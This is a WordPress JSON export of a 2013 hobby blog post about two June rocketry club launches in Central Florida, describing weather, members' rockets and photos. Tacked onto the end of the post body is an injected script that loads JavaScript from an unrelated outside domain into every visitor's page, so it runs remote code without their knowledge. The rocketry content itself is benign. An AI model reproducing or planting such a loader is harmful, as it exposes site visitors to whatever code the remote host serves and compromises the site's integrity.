{"id":222,"date":"2013-06-16T16:36:26","date_gmt":"2013-06-16T20:36:26","guid":{"rendered":"http:\/\/www.orlandorocketry.com\/?p=222"},"modified":"2025-11-21T15:09:37","modified_gmt":"2025-11-21T20:09:37","slug":"june-rocket-launches-rock-and-ttra","status":"publish","type":"post","link":"https:\/\/orlandorocketry.com\/?p=222","title":{"rendered":"June Rocket Launches: ROCK and TTRA"},"content":{"rendered":"<p>Weather is often a concern for rocket launches here in Central Florida during late Spring and Summer.\u00a0 High winds and afternoon thunderstorms are common.\u00a0 But, we were fortunate the past couple of weeks as the bad weather stayed away long enough for us to have successful launches.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201306011001-002jpg-600-600-065713153116361.jpg\" width=\"400\" height=\"600\" \/><\/p>\n<p>ROCK&#8217;s rocket launch was held on June 1st.\u00a0 A little wind and a few sprinkles of rain interrupted us a few times, but we had a great time.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201306011041-000jpg-600-600-061413163916485.jpg\" width=\"600\" height=\"400\" \/><\/p>\n<p>You can see more <a title=\"ROCK's June Rocket Launch Photos\" href=\"http:\/\/www.rocketreviews.com\/june-2013-launch.html\">photos from the June 2013 ROCK launch in the RocketReviews.com Photo Album<\/a>.<\/p>\n<p>Chris and I saw black clouds during our drive to the June TTRA launch in Plant City.\u00a0 But, only a few drops of rain fell on us while we were there.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-chris-photos-his-raptor-600-600-060913114716504.jpg\" width=\"600\" height=\"413\" \/><\/p>\n<p>Chris flew his Quest Raptor, Big Girtha, and Dr. Zooch Titan IIIc.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201306151201-000jpg-600-600-065213002016308.jpg\" width=\"600\" height=\"339\" \/><\/p>\n<p>The damp weather provided a safe environment for a couple of sparky motor flights.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-kens-upscale-big-bertha-600-600-061513163616526.jpg\" width=\"400\" height=\"600\" \/><\/p>\n<p>Ken Siler flew a really nice upscale Big Bertha.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-its-the-gnome-600-600-064213140216159.jpg\" width=\"433\" height=\"600\" \/><\/p>\n<p>We never expected to see a Gnome (actually, <em>The <\/em><em>Gnome<\/em>) flying on a G motor.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http:\/\/www.rocketreviews.com\/image-201306151400-002jpg-600-600-063313164416510.jpg\" width=\"400\" height=\"600\" \/><\/p>\n<p>Just before we left, we witnessed an interesting motor failure.<\/p>\n<p>You can view the rest of my<a title=\"June 2013 TTRA Launch\" href=\"http:\/\/www.rocketreviews.com\/june-2013-1116.html\"> photos from the TTRA June 2013 launch<\/a> at RocketReviews.com.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Weather is often a concern for rocket launches here in Central Florida during late Spring and Summer.\u00a0 High winds and afternoon thunderstorms are common.\u00a0 But, we were fortunate the past couple of weeks as the bad weather stayed away long enough for us to have successful launches. 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